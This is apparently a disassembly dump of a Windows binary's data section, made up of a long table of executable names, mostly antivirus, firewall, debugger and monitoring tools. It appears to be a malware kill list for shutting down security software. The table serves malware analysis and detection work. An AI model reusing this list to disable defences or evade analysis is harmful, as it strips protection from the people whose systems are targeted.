.data:0042BBA8o aSave_exe db 'SAVE.EXE',0 ; DATA XREF: .data:0042BBA4o align 10h aSahagent_exe db 'SAHAGENT.EXE',0 ; DATA XREF: .data:0042BBA0o align 10h aSafeweb_exe db 'SAFEWEB.EXE',0 ; DATA XREF: .data:0042BB9Co aRuxdll32_exe db 'RUXDLL32.EXE',0 ; DATA XREF: .data:0042BB98o align 4 aRundll16_exe db 'RUNDLL16.EXE',0 ; DATA XREF: .data:0042BB94o align 4 aRundll_exe db 'RUNDLL.EXE',0 ; DATA XREF: .data:0042BB90o align 4 aRun32dll_exe db 'RUN32DLL.EXE',0 ; DATA XREF: .data:0042BB8Co align 4 aRulaunch_exe db 'RULAUNCH.EXE',0 ; DATA XREF: .data:0042BB88o align 4 aRtvscn95_exe db 'RTVSCN95.EXE',0 ; DATA XREF: .data:0042BB84o align 4 aRtvscan_exe db 'RTVSCAN.EXE',0 ; DATA XREF: .data:0042BB80o aRshell_exe db 'RSHELL.EXE',0 ; DATA XREF: .data:0042BB7Co align 10h aRrguard_exe db 'RRGUARD.EXE',0 ; DATA XREF: .data:0042BB78o aRescue32_exe db 'RESCUE32.EXE',0 ; DATA XREF: .data:0042BB74o align 4 aRescue_exe db 'RESCUE.EXE',0 ; DATA XREF: .data:0042BB70o align 4 aRegedt32_exe db 'REGEDT32.EXE',0 ; DATA XREF: .data:0042BB6Co align 4 aRegedit_exe db 'REGEDIT.EXE',0 ; DATA XREF: .data:0042BB68o aReged_exe db 'REGED.EXE',0 ; DATA XREF: .data:0042BB64o align 10h aRealmon_exe db 'REALMON.EXE',0 ; DATA XREF: .data:0042BB60o aRcsync_exe db 'RCSYNC.EXE',0 ; DATA XREF: .data:0042BB5Co align 4 aRb32_exe db 'RB32.EXE',0 ; DATA XREF: .data:0042BB58o align 4 aRay_exe db 'RAY.EXE',0 ; DATA XREF: .data:0042BB54o aRav8win32eng_e db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .data:0042BB50o align 10h aRav7win_exe db 'RAV7WIN.EXE',0 ; DATA XREF: .data:0042BB4Co aRav7_exe db 'RAV7.EXE',0 ; DATA XREF: .data:0042BB48o align 4 aRapapp_exe db 'RAPAPP.EXE',0 ; DATA XREF: .data:0042BB44o align 4 aQserver_exe db 'QSERVER.EXE',0 ; DATA XREF: .data:0042BB40o aQconsole_exe db 'QCONSOLE.EXE',0 ; DATA XREF: .data:0042BB3Co align 10h aPview95_exe db 'PVIEW95.EXE',0 ; DATA XREF: .data:0042BB38o aPussy_exe db 'PUSSY.EXE',0 ; DATA XREF: .data:0042BB34o align 4 aPurge_exe db 'PURGE.EXE',0 ; DATA XREF: .data:0042BB30o align 4 aPspf_exe db 'PSPF.EXE',0 ; DATA XREF: .data:0042BB2Co align 10h aProtectx_exe db 'PROTECTX.EXE',0 ; DATA XREF: .data:0042BB28o align 10h aProport_exe db 'PROPORT.EXE',0 ; DATA XREF: .data:0042BB24o aProgramauditor db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .data:0042BB20o align 10h aProcexplorerv1 db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .data:0042BB1Co align 4 aProcessmonitor db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .data:0042BB18o align 4 aProcdump_exe db 'PROCDUMP.EXE',0 ; DATA XREF: .data:0042BB14o align 4 aPrmvr_exe db 'PRMVR.EXE',0 ; DATA XREF: .data:0042BB10o align 4 aPrmt_exe db 'PRMT.EXE',0 ; DATA XREF: .data:0042BB0Co align 4 aPrizesurfer_ex db 'PRIZESURFER.EXE',0 ; DATA XREF: .data:0042BB08o aPpvstop_exe db 'PPVSTOP.EXE',0 ; DATA XREF: .data:0042BB04o aPptbc_exe db 'PPTBC.EXE',0 ; DATA XREF: .data:0042BB00o align 4 aPpinupdt_exe db 'PPINUPDT.EXE',0 ; DATA XREF: .data:0042BAFCo align 4 aPowerscan_exe db 'POWERSCAN.EXE',0 ; DATA XREF: .data:0042BAF8o align 4 aPortmonitor_ex db 'PORTMONITOR.EXE',0 ; DATA XREF: .data:0042BAF4o aPortdetective_ db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .data:0042BAF0o align 10h aPopscan_exe db 'POPSCAN.EXE',0 ; DATA XREF: .data:0042BAECo aPoproxy_exe db 'POPROXY.EXE',0 ; DATA XREF: .data:0042BAE8o aPop3trap_exe db 'POP3TRAP.EXE',0 ; DATA XREF: .data:0042BAE4o align 4 aPlatin_exe db 'PLATIN.EXE',0 ; DATA XREF: .data:0042BAE0o align 4 aPingscan_exe db 'PINGSCAN.EXE',0 ; DATA XREF: .data:0042BADCo align 4 aPgmonitr_exe db 'PGMONITR.EXE',0 ; DATA XREF: .data:0042BAD8o align 4 aPfwadmin_exe db 'PFWADMIN.EXE',0 ; DATA XREF: .data:0042BAD4o align 4 aPf2_exe db 'PF2.EXE',0 ; DATA XREF: .data:0042BAD0o aPerswf_exe db 'PERSWF.EXE',0 ; DATA XREF: .data:0042BACCo align 4 aPersfw_exe db 'PERSFW.EXE',0 ; DATA XREF: .data:0042BAC8o align 4 aPeriscope_exe db 'PERISCOPE.EXE',0 ; DATA XREF: .data:0042BAC4o align 4 aPenis_exe db 'PENIS.EXE',0 ; DATA XREF: .data:0042BAC0o align 10h aPdsetup_exe db 'PDSETUP.EXE',0 ; DATA XREF: .data:0042BABCo aPcscan_exe db 'PCSCAN.EXE',0 ; DATA XREF: .data:0042BAB8o align 4 aPcip10117_0_ex db 'PCIP10117_0.EXE',0 ; DATA XREF: .data:0042BAB4o aPcfwallicon_ex db 'PCFWALLICON.EXE',0 ; DATA XREF: .data:0042BAB0o aPcdsetup_exe db 'PCDSETUP.EXE',0 ; DATA XREF: .data:0042BAACo align 4 aPccwin98_exe db 'PCCWIN98.EXE',0 ; DATA XREF: .data:0042BAA8o align 4 aPccwin97_exe db 'PCCWIN97.EXE',0 ; DATA XREF: .data:0042BAA4o align 4 aPccntmon_exe db 'PCCNTMON.EXE',0 ; DATA XREF: .data:0042BAA0o align 4 aPcciomon_exe db 'PCCIOMON.EXE',0 ; DATA XREF: .data:0042BA9Co align 4 aPcc2k_76_1436_ db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .data:0042BA98o align 4 aPcc2002s902_ex db 'PCC2002S902.EXE',0 ; DATA XREF: .data:0042BA94o aPavw_exe db 'PAVW.EXE',0 ; DATA XREF: .data:0042BA90o align 4 aPavsched_exe db 'PAVSCHED.EXE',0 ; DATA XREF: .data:0042BA8Co align 4 aPavproxy_exe db 'PAVPROXY.EXE',0 ; DATA XREF: .data:0042BA88o align 4 aPavcl_exe db 'PAVCL.EXE',0 ; DATA XREF: .data:0042BA84o align 4 aPatch_exe db 'PATCH.EXE',0 ; DATA XREF: .data:0042BA80o align 10h aPanixk_exe db 'PANIXK.EXE',0 ; DATA XREF: .data:0042BA7Co align 4 aPadmin_exe db 'PADMIN.EXE',0 ; DATA XREF: .data:0042BA78o align 4 aOutpostproinst db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .data:0042BA74o align 10h aOutpostinstall db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .data:0042BA70o align 4 aOutpost_exe db 'OUTPOST.EXE',0 ; DATA XREF: .data:0042BA68o ; .data:0042BA6Co aOtfix_exe db 'OTFIX.EXE',0 ; DATA XREF: .data:0042BA64o align 4 aOstronet_exe db 'OSTRONET.EXE',0 ; DATA XREF: .data:0042BA60o align 4 aOptimize_exe db 'OPTIMIZE.EXE',0 ; DATA XREF: .data:0042BA5Co align 4 aOnsrvr_exe db 'ONSRVR.EXE',0 ; DATA XREF: .data:0042BA58o align 4 aOllydbg_exe db 'OLLYDBG.EXE',0 ; DATA XREF: .data:0042BA54o aNwtool16_exe db 'NWTOOL16.EXE',0 ; DATA XREF: .data:0042BA50o align 4 aNwservice_exe db 'NWSERVICE.EXE',0 ; DATA XREF: .data:0042BA4Co align 4 aNwinst4_exe db 'NWINST4.EXE',0 ; DATA XREF: .data:0042BA48o aNvsvc32_exe db 'NVSVC32.EXE',0 ; DATA XREF: .data:0042BA44o aNvc95_exe db 'NVC95.EXE',0 ; DATA XREF: .data:0042BA40o align 4 aNvarch16_exe db 'NVARCH16.EXE',0 ; DATA XREF: .data:0042BA3Co align 4 aNupgrade_exe db 'NUPGRADE.EXE',0 ; DATA XREF: .data:0042BA34o ; .data:0042BA38o align 4 aNui_exe db 'NUI.EXE',0 ; DATA XREF: .data:0042BA30o aNtxconfig_exe db 'NTXconfig.EXE',0 ; DATA XREF: .data:0042BA2Co align 10h aNtvdm_exe db 'NTVDM.EXE',0 ; DATA XREF: .data:0042BA28o align 4 aNtrtscan_exe db 'NTRTSCAN.EXE',0 ; DATA XREF: .data:0042BA24o align 4 aNt_exe db 'NT.EXE',0 ; DATA XREF: .data:0042BA20o align 4 aNsupdate_exe db 'NSUPDATE.EXE',0 ; DATA XREF: .data:0042BA1Co align 4 aNstask32_exe db 'NSTASK32.EXE',0 ; DATA XREF: .data:0042BA18o align 4 aNssys32_exe db 'NSSYS32.EXE',0 ; DATA XREF: .data:0042BA14o aNsched32_exe db 'NSCHED32.EXE',0 ; DATA XREF: .data:0042BA10o align 10h aNpssvc_exe db 'NPSSVC.EXE',0 ; DATA XREF: .data:0042BA0Co align 4 aNpscheck_exe db 'NPSCHECK.EXE',0 ; DATA XREF: .data:0042BA08o align 4 aNprotect_exe db 'NPROTECT.EXE',0 ; DATA XREF: .data:0042BA04o align 4 aNpfmessenger_e db 'NPFMESSENGER.EXE',0 ; DATA XREF: .data:0042BA00o align 10h aNpf40_tw_98_nt db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .data:0042B9FCo align 4 aNotstart_exe db 'NOTSTART.EXE',0 ; DATA XREF: .data:0042B9F8o align 4 aNorton_interne db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .data:0042B9F4o align 10h aNormist_exe db 'NORMIST.EXE',0 ; DATA XREF: .data:0042B9F0o aNod32_exe db 'NOD32.EXE',0 ; DATA XREF: .data:0042B9ECo align 4 aNmain_exe db 'NMAIN.EXE',0 ; DATA XREF: .data:0042B9E8o align 4 aNisum_exe db 'NISUM.EXE',0 ; DATA XREF: .data:0042B9E4o align 10h aNisserv_exe db 'NISSERV.EXE',0 ; DATA XREF: .data:0042B9E0o aNetutils_exe db 'NETUTILS.EXE',0 ; DATA XREF: .data:0042B9DCo align 4 aNetstat_exe db 'NETSTAT.EXE',0 ; DATA XREF: .data:0042B9D8o aNetspyhunter1_ db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .data:0042B9D4o align 10h aNetscanpro_exe db 'NETSCANPRO.EXE',0 ; DATA XREF: .data:0042B9D0o align 10h aNetmon_exe db 'NETMON.EXE',0 ; DATA XREF: .data:0042B9CCo align 4 aNetinfo_exe db 'NETINFO.EXE',0 ; DATA XREF: .data:0042B9C8o aNetd32_exe db 'NETD32.EXE',0 ; DATA XREF: .data:0042B9C4o align 4 aNetarmor_exe db 'NETARMOR.EXE',0 ; DATA XREF: .data:0042B9C0o align 4 aNeowatchlog_ex db 'NEOWATCHLOG.EXE',0 ; DATA XREF: .data:0042B9BCo aNeomonitor_exe db 'NEOMONITOR.EXE',0 ; DATA XREF: .data:0042B9B8o align 4 aNdd32_exe db 'NDD32.EXE',0 ; DATA XREF: .data:0042B9B4o align 10h aNcinst4_exe db 'NCINST4.EXE',0 ; DATA XREF: .data:0042B9B0o aNc2000_exe db 'NC2000.EXE',0 ; DATA XREF: .data:0042B9ACo align 4 aNavwnt_exe db 'NAVWNT.EXE',0 ; DATA XREF: .data:0042B9A8o align 4 aNavw32_exe db 'NAVW32.EXE',0 ; DATA XREF: .data:0042B9A4o align 10h aNavstub_exe db 'NAVSTUB.EXE',0 ; DATA XREF: .data:0042B9A0o aNavnt_exe db 'NAVNT.EXE',0 ; DATA XREF: .data:0042B99Co align 4 aNavlu32_exe db 'NAVLU32.EXE',0 ; DATA XREF: .data:0042B998o aNavengnavex15_ db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .data:0042B994o align 10h aNavdx_exe db 'NAVDX.EXE',0 ; DATA XREF: .data:0042B990o align 4 aNavapw32_exe db 'NAVAPW32.EXE',0 ; DATA XREF: .data:0042B98Co align 4 aNavapsvc_exe db 'NAVAPSVC.EXE',0 ; DATA XREF: .data:0042B988o align 4 aNavap_navapsvc db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .data:0042B984o align 10h aAutoProtect_na db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .data:0042B980o align 4 aNav_exe db 'NAV.EXE',0 ; DATA XREF: .data:0042B97Co aN32scanw_exe db 'N32SCANW.EXE',0 ; DATA XREF: .data:0042B978o align 4 aMwatch_exe db 'MWATCH.EXE',0 ; DATA XREF: .data:0042B974o align 10h aMu0311ad_exe db 'MU0311AD.EXE',0 ; DATA XREF: .data:0042B970o align 10h aMsvxd_exe db 'MSVXD.EXE',0 ; DATA XREF: .data:0042B96Co align 4 aMssys_exe db 'MSSYS.EXE',0 ; DATA XREF: .data:0042B968o align 4 aMssmmc32_exe db 'MSSMMC32.EXE',0 ; DATA XREF: .data:0042B964o align 4 aMsmsgri32_exe db 'MSMSGRI32.EXE',0 ; DATA XREF: .data:0042B960o align 4 aMsmgt_exe db 'MSMGT.EXE',0 ; DATA XREF: .data:0042B95Co align 4 aMslaugh_exe db 'MSLAUGH.EXE',0 ; DATA XREF: .data:0042B958o aMsinfo32_exe db 'MSINFO32.EXE',0 ; DATA XREF: .data:0042B954o align 10h aMsiexec16_exe db 'MSIEXEC16.EXE',0 ; DATA XREF: .data:0042B950o align 10h aMsdos_exe db 'MSDOS.EXE',0 ; DATA XREF: .data:0042B94Co align 4 aMsdm_exe db 'MSDM.EXE',0 ; DATA XREF: .data:0042B948o align 4 aMsconfig_exe_0 db 'MSCONFIG.EXE',0 ; DATA XREF: .data:0042B944o align 4 aMscman_exe db 'MSCMAN.EXE',0 ; DATA XREF: .data:0042B940o align 4 aMsccn32_exe db 'MSCCN32.EXE',0 ; DATA XREF: .data:0042B93Co aMscache_exe db 'MSCACHE.EXE',0 ; DATA XREF: .data:0042B938o aMsblast_exe db 'MSBLAST.EXE',0 ; DATA XREF: .data:0042B934o aMsbb_exe db 'MSBB.EXE',0 ; DATA XREF: .data:0042B930o align 4 aMsapp_exe db 'MSAPP.EXE',0 ; DATA XREF: .data:0042B92Co align 10h aMrflux_exe db 'MRFLUX.EXE',0 ; DATA XREF: .data:0042B928o align 4 aMpftray_exe db 'MPFTRAY.EXE',0 ; DATA XREF: .data:0042B924o aMpfservice_exe db 'MPFSERVICE.EXE',0 ; DATA XREF: .data:0042B920o align 4 aMpfagent_exe db 'MPFAGENT.EXE',0 ; DATA XREF: .data:0042B91Co align 4 aMostat_exe db 'MOSTAT.EXE',0 ; DATA XREF: .data:0042B918o align 4 aMoolive_exe db 'MOOLIVE.EXE',0 ; DATA XREF: .data:0042B914o aMonitor_exe db 'MONITOR.EXE',0 ; DATA XREF: .data:0042B910o aMmod_exe db 'MMOD.EXE',0 ; DATA XREF: .data:0042B90Co align 4 aMinilog_exe db 'MINILOG.EXE',0 ; DATA XREF: .data:0042B908o aMgui_exe db 'MGUI.EXE',0 ; DATA XREF: .data:0042B904o align 10h aMghtml_exe db 'MGHTML.EXE',0 ; DATA XREF: .data:0042B900o align 4 aMgavrte_exe db 'MGAVRTE.EXE',0 ; DATA XREF: .data:0042B8FCo aMgavrtcl_exe db 'MGAVRTCL.EXE',0 ; DATA XREF: .data:0042B8F8o align 4 aMfweng3_02d30_ db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .data:0042B8F4o align 4 aMfw2en_exe db 'MFW2EN.EXE',0 ; DATA XREF: .data:0042B8F0o align 4 aMfin32_exe db 'MFIN32.EXE',0 ; DATA XREF: .data:0042B8ECo align 4 aMd_exe db 'MD.EXE',0 ; DATA XREF: .data:0042B8E8o align 4 aMcvsshld_exe db 'MCVSSHLD.EXE',0 ; DATA XREF: .data:0042B8E4o align 4 aMcvsrte_exe db 'MCVSRTE.EXE',0 ; DATA XREF: .data:0042B8E0o aMcupdate_exe db 'MCUPDATE.EXE',0 ; DATA XREF: .data:0042B8D8o ; .data:0042B8DCo align 4 aMctool_exe db 'MCTOOL.EXE',0 ; DATA XREF: .data:0042B8D4o align 4 aMcshield_exe db 'MCSHIELD.EXE',0 ; DATA XREF: .data:0042B8D0o align 4 aMcmnhdlr_exe db 'MCMNHDLR.EXE',0 ; DATA XREF: .data:0042B8CCo align 4 aMcagent_exe db 'MCAGENT.EXE',0 ; DATA XREF: .data:0042B8C8o aMapisvc32_exe db 'MAPISVC32.EXE',0 ; DATA XREF: .data:0042B8C4o align 10h aLuspt_exe db 'LUSPT.EXE',0 ; DATA XREF: .data:0042B8C0o align 4 aLuinit_exe db 'LUINIT.EXE',0 ; DATA XREF: .data:0042B8BCo align 4 aLucomserver_ex db 'LUCOMSERVER.EXE',0 ; DATA XREF: .data:0042B8B8o aLuau_exe db 'LUAU.EXE',0 ; DATA XREF: .data:0042B8B4o align 4 aLuall_exe db 'LUALL.EXE',0 ; DATA XREF: .data:0042B8ACo ; .data:0042B8B0o align 10h aLsetup_exe db 'LSETUP.EXE',0 ; DATA XREF: .data:0042B8A8o align 4 aLordpe_exe db 'LORDPE.EXE',0 ; DATA XREF: .data:0042B8A4o align 4 aLookout_exe db 'LOOKOUT.EXE',0 ; DATA XREF: .data:0042B8A0o aLockdown2000_e db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .data:0042B89Co align 4 aLockdown_exe db 'LOCKDOWN.EXE',0 ; DATA XREF: .data:0042B898o align 4 aLocalnet_exe db 'LOCALNET.EXE',0 ; DATA XREF: .data:0042B894o align 4 aLoader_exe db 'LOADER.EXE',0 ; DATA XREF: .data:0042B890o align 4 aLnetinfo_exe db 'LNETINFO.EXE',0 ; DATA XREF: .data:0042B88Co align 4 aLdscan_exe db 'LDSCAN.EXE',0 ; DATA XREF: .data:0042B888o align 10h aLdpromenu_exe db 'LDPROMENU.EXE',0 ; DATA XREF: .data:0042B884o align 10h aLdpro_exe db 'LDPRO.EXE',0 ; DATA XREF: .data:0042B880o align 4 aLdnetmon_exe db 'LDNETMON.EXE',0 ; DATA XREF: .data:0042B87Co align 4 aLauncher_exe db 'LAUNCHER.EXE',0 ; DATA XREF: .data:0042B878o align 4 aKillprocessset db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .data:0042B874o aKernel32_exe db 'KERNEL32.EXE',0 ; DATA XREF: .data:0042B870o align 4 aKerioWrp421EnW db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .data:0042B86Co align 10h aKerioWrl421EnW db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .data:0042B868o align 4 aKerioPf213EnWi db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .data:0042B864o aKeenvalue_exe db 'KEENVALUE.EXE',0 ; DATA XREF: .data:0042B860o align 4 aKazza_exe db 'KAZZA.EXE',0 ; DATA XREF: .data:0042B85Co align 10h aKavpf_exe db 'KAVPF.EXE',0 ; DATA XREF: .data:0042B858o align 4 aKavpers40eng_e db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .data:0042B854o align 10h aKavlite40eng_e db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .data:0042B850o align 4 aJedi_exe db 'JEDI.EXE',0 ; DATA XREF: .data:0042B84Co align 10h aJdbgmrg_exe db 'JDBGMRG.EXE',0 ; DATA XREF: .data:0042B848o aJammer_exe db 'JAMMER.EXE',0 ; DATA XREF: .data:0042B844o align 4 aIstsvc_exe db 'ISTSVC.EXE',0 ; DATA XREF: .data:0042B840o align 4 aIsrv95_exe db 'ISRV95.EXE',0 ; DATA XREF: .data:0042B83Co align 10h aIsass_exe db 'ISASS.EXE',0 ; DATA XREF: .data:0042B838o align 4 aIris_exe db 'IRIS.EXE',0 ; DATA XREF: .data:0042B834o align 4 aIparmor_exe db 'IPARMOR.EXE',0 ; DATA XREF: .data:0042B830o aIomon98_exe db 'IOMON98.EXE',0 ; DATA XREF: .data:0042B82Co aIntren_exe db 'INTREN.EXE',0 ; DATA XREF: .data:0042B828o align 4 aIntdel_exe db 'INTDEL.EXE',0 ; DATA XREF: .data:0042B824o align 4 aInit_exe db 'INIT.EXE',0 ; DATA XREF: .data:0042B820o align 4 aInfwin_exe db 'INFWIN.EXE',0 ; DATA XREF: .data:0042B81Co align 10h aInfus_exe db 'INFUS.EXE',0 ; DATA XREF: .data:0042B818o align 4 aInetlnfo_exe db 'INETLNFO.EXE',0 ; DATA XREF: .data:0042B814o align 4 aIfw2000_exe db 'IFW2000.EXE',0 ; DATA XREF: .data:0042B810o aIface_exe db 'IFACE.EXE',0 ; DATA XREF: .data:0042B80Co align 4 aIexplorer_exe db 'IEXPLORER.EXE',0 ; DATA XREF: .data:0042B808o align 4 aIedriver_exe db 'IEDRIVER.EXE',0 ; DATA XREF: .data:0042B804o align 4 aIedll_exe db 'IEDLL.EXE',0 ; DATA XREF: .data:0042B800o align 10h aIdle_exe db 'IDLE.EXE',0 ; DATA XREF: .data:0042B7FCo align 4 aIcsuppnt_exe db 'ICSUPPNT.EXE',0 ; DATA XREF: .data:0042B7F8o align 4 aIcsupp95_exe db 'ICSUPP95.EXE',0 ; DATA XREF: .data:0042B7F0o ; .data:0042B7F4o align 4 aIcmon_exe db 'ICMON.EXE',0 ; DATA XREF: .data:0042B7ECo align 4 aIcloadnt_exe db 'ICLOADNT.EXE',0 ; DATA XREF: .data:0042B7E8o align 4 aIcload95_exe db 'ICLOAD95.EXE',0 ; DATA XREF: .data:0042B7E4o align 4 aIbmavsp_exe db 'IBMAVSP.EXE',0 ; DATA XREF: .data:0042B7E0o aIbmasn_exe db 'IBMASN.EXE',0 ; DATA XREF: .data:0042B7DCo align 10h aIamstats_exe db 'IAMSTATS.EXE',0 ; DATA XREF: .data:0042B7D8o align 10h aIamserv_exe db 'IAMSERV.EXE',0 ; DATA XREF: .data:0042B7D4o aIamapp_exe db 'IAMAPP.EXE',0 ; DATA XREF: .data:0042B7D0o align 4 aHxiul_exe db 'HXIUL.EXE',0 ; DATA XREF: .data:0042B7CCo align 4 aHxdl_exe db 'HXDL.EXE',0 ; DATA XREF: .data:0042B7C8o align 10h aHwpe_exe db 'HWPE.EXE',0 ; DATA XREF: .data:0042B7C4o align 4 aHtpatch_exe db 'HTPATCH.EXE',0 ; DATA XREF: .data:0042B7C0o aHtlog_exe db 'HTLOG.EXE',0 ; DATA XREF: .data:0042B7BCo align 4 aHotpatch_exe db 'HOTPATCH.EXE',0 ; DATA XREF: .data:0042B7B8o align 4 aHotactio_exe db 'HOTACTIO.EXE',0 ; DATA XREF: .data:0042B7B4o align 4 aHbsrv_exe db 'HBSRV.EXE',0 ; DATA XREF: .data:0042B7B0o align 10h aHbinst_exe db 'HBINST.EXE',0 ; DATA XREF: .data:0042B7ACo align 4 aHacktracersetu db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .data:0042B7A8o aGuarddog_exe db 'GUARDDOG.EXE',0 ; DATA XREF: .data:0042B7A4o align 10h aGuard_exe db 'GUARD.EXE',0 ; DATA XREF: .data:0042B7A0o align 4 aGmt_exe db 'GMT.EXE',0 ; DATA XREF: .data:0042B79Co aGenerics_exe db 'GENERICS.EXE',0 ; DATA XREF: .data:0042B798o align 4 aGbpoll_exe db 'GBPOLL.EXE',0 ; DATA XREF: .data:0042B794o align 10h aGbmenu_exe db 'GBMENU.EXE',0 ; DATA XREF: .data:0042B790o align 4 aGator_exe db 'GATOR.EXE',0 ; DATA XREF: .data:0042B78Co align 4 aFsmb32_exe db 'FSMB32.EXE',0 ; DATA XREF: .data:0042B788o align 4 aFsma32_exe db 'FSMA32.EXE',0 ; DATA XREF: .data:0042B784o align 10h aFsm32_exe db 'FSM32.EXE',0 ; DATA XREF: .data:0042B780o align 4 aFsgk32_exe db 'FSGK32.EXE',0 ; DATA XREF: .data:0042B77Co align 4 aFsav95_exe db 'FSAV95.EXE',0 ; DATA XREF: .data:0042B778o align 4 aFsav530wtbyb_e db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .data:0042B774o align 4 aFsav530stbyb_e db 'FSAV530STBYB.EXE',0 ; DATA XREF: .data:0042B770o align 4 aFsav32_exe db 'FSAV32.EXE',0 ; DATA XREF: .data:0042B76Co align 4 aFsav_exe db 'FSAV.EXE',0 ; DATA XREF: .data:0042B768o align 4 aFsaa_exe db 'FSAA.EXE',0 ; DATA XREF: .data:0042B764o align 10h aFrw_exe db 'FRW.EXE',0 ; DATA XREF: .data:0042B760o aFprot_exe db 'FPROT.EXE',0 ; DATA XREF: .data:0042B75Co align 4 aFpWin_trial_ex db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .data:0042B758o align 4 aFpWin_exe db 'FP-WIN.EXE',0 ; DATA XREF: .data:0042B754o align 4 aFnrb32_exe db 'FNRB32.EXE',0 ; DATA XREF: .data:0042B750o align 10h aFlowprotector_ db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .data:0042B74Co align 4 aFirewall_exe db 'FIREWALL.EXE',0 ; DATA XREF: .data:0042B748o align 4 aFindviru_exe db 'FINDVIRU.EXE',0 ; DATA XREF: .data:0042B744o align 4 aFih32_exe db 'FIH32.EXE',0 ; DATA XREF: .data:0042B740o align 10h aFch32_exe db 'FCH32.EXE',0 ; DATA XREF: .data:0042B73Co align 4 aFast_exe db 'FAST.EXE',0 ; DATA XREF: .data:0042B738o align 4 aFameh32_exe db 'FAMEH32.EXE',0 ; DATA XREF: .data:0042B734o aFStopw_exe db 'F-STOPW.EXE',0 ; DATA XREF: .data:0042B730o aFProt95_exe db 'F-PROT95.EXE',0 ; DATA XREF: .data:0042B72Co align 10h aFProt_exe db 'F-PROT.EXE',0 ; DATA XREF: .data:0042B728o align 4 aFAgnt95_exe db 'F-AGNT95.EXE',0 ; DATA XREF: .data:0042B724o align 4 aExplore_exe db 'EXPLORE.EXE',0 ; DATA XREF: .data:0042B720o aExpert_exe db 'EXPERT.EXE',0 ; DATA XREF: .data:0042B71Co align 4 aExe_avxw_exe db 'EXE.AVXW.EXE',0 ; DATA XREF: .data:0042B718o align 4 aExantivirusCne db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .data:0042B714o align 4 aEvpn_exe db 'EVPN.EXE',0 ; DATA XREF: .data:0042B710o align 4 aEtrustcipe_exe db 'ETRUSTCIPE.EXE',0 ; DATA XREF: .data:0042B70Co align 4 aEthereal_exe db 'ETHEREAL.EXE',0 ; DATA XREF: .data:0042B708o align 4 aEspwatch_exe db 'ESPWATCH.EXE',0 ; DATA XREF: .data:0042B704o align 4 aEscanv95_exe db 'ESCANV95.EXE',0 ; DATA XREF: .data:0042B700o align 4 aEscanhnt_exe db 'ESCANHNT.EXE',0 ; DATA XREF: .data:0042B6FCo align 4 aEscanh95_exe db 'ESCANH95.EXE',0 ; DATA XREF: .data:0042B6F8o align 4 aEsafe_exe db 'ESAFE.EXE',0 ; DATA XREF: .data:0042B6F4o align 4 aEnt_exe db 'ENT.EXE',0 ; DATA XREF: .data:0042B6F0o aEmsw_exe db 'EMSW.EXE',0 ; DATA XREF: .data:0042B6ECo align 4 aEfpeadm_exe db 'EFPEADM.EXE',0 ; DATA XREF: .data:0042B6E8o aEcengine_exe db 'ECENGINE.EXE',0 ; DATA XREF: .data:0042B6E4o align 4 aDvp95_0_exe db 'DVP95_0.EXE',0 ; DATA XREF: .data:0042B6E0o aDvp95_exe db 'DVP95.EXE',0 ; DATA XREF: .data:0042B6DCo align 4 aDssagent_exe db 'DSSAGENT.EXE',0 ; DATA XREF: .data:0042B6D8o align 4 aDrwebupw_exe db 'DRWEBUPW.EXE',0 ; DATA XREF: .data:0042B6D4o align 4 aDrweb32_exe db 'DRWEB32.EXE',0 ; DATA XREF: .data:0042B6D0o aDrwatson_exe db 'DRWATSON.EXE',0 ; DATA XREF: .data:0042B6CCo align 4 aDpps2_exe db 'DPPS2.EXE',0 ; DATA XREF: .data:0042B6C8o align 4 aDpfsetup_exe db 'DPFSETUP.EXE',0 ; DATA XREF: .data:0042B6C4o align 4 aDpf_exe db 'DPF.EXE',0 ; DATA XREF: .data:0042B6C0o aDoors_exe db 'DOORS.EXE',0 ; DATA XREF: .data:0042B6BCo align 4 aDllreg_exe db 'DLLREG.EXE',0 ; DATA XREF: .data:0042B6B8o align 4 aDllcache_exe db 'DLLCACHE.EXE',0 ; DATA XREF: .data:0042B6B4o align 4 aDivx_exe db 'DIVX.EXE',0 ; DATA XREF: .data:0042B6B0o align 10h aDeputy_exe db 'DEPUTY.EXE',0 ; DATA XREF: .data:0042B6ACo align 4 aDefwatch_exe db 'DEFWATCH.EXE',0 ; DATA XREF: .data:0042B6A8o align 4 aDefscangui_exe db 'DEFSCANGUI.EXE',0 ; DATA XREF: .data:0042B6A4o align 4 aDefalert_exe db 'DEFALERT.EXE',0 ; DATA XREF: .data:0042B6A0o align 4 aDcomx_exe db 'DCOMX.EXE',0 ; DATA XREF: .data:0042B69Co align 4 aDatemanager_ex db 'DATEMANAGER.EXE',0 ; DATA XREF: .data:0042B698o aClaw95_exe db 'Claw95.EXE',0 ; DATA XREF: .data:0042B690o align 4 aCwntdwmo_exe db 'CWNTDWMO.EXE',0 ; DATA XREF: .data:0042B68Co align 4 aCwnb181_exe db 'CWNB181.EXE',0 ; DATA XREF: .data:0042B688o aCv_exe db 'CV.EXE',0 ; DATA XREF: .data:0042B684o align 4 aCtrl_exe db 'CTRL.EXE',0 ; DATA XREF: .data:0042B680o align 4 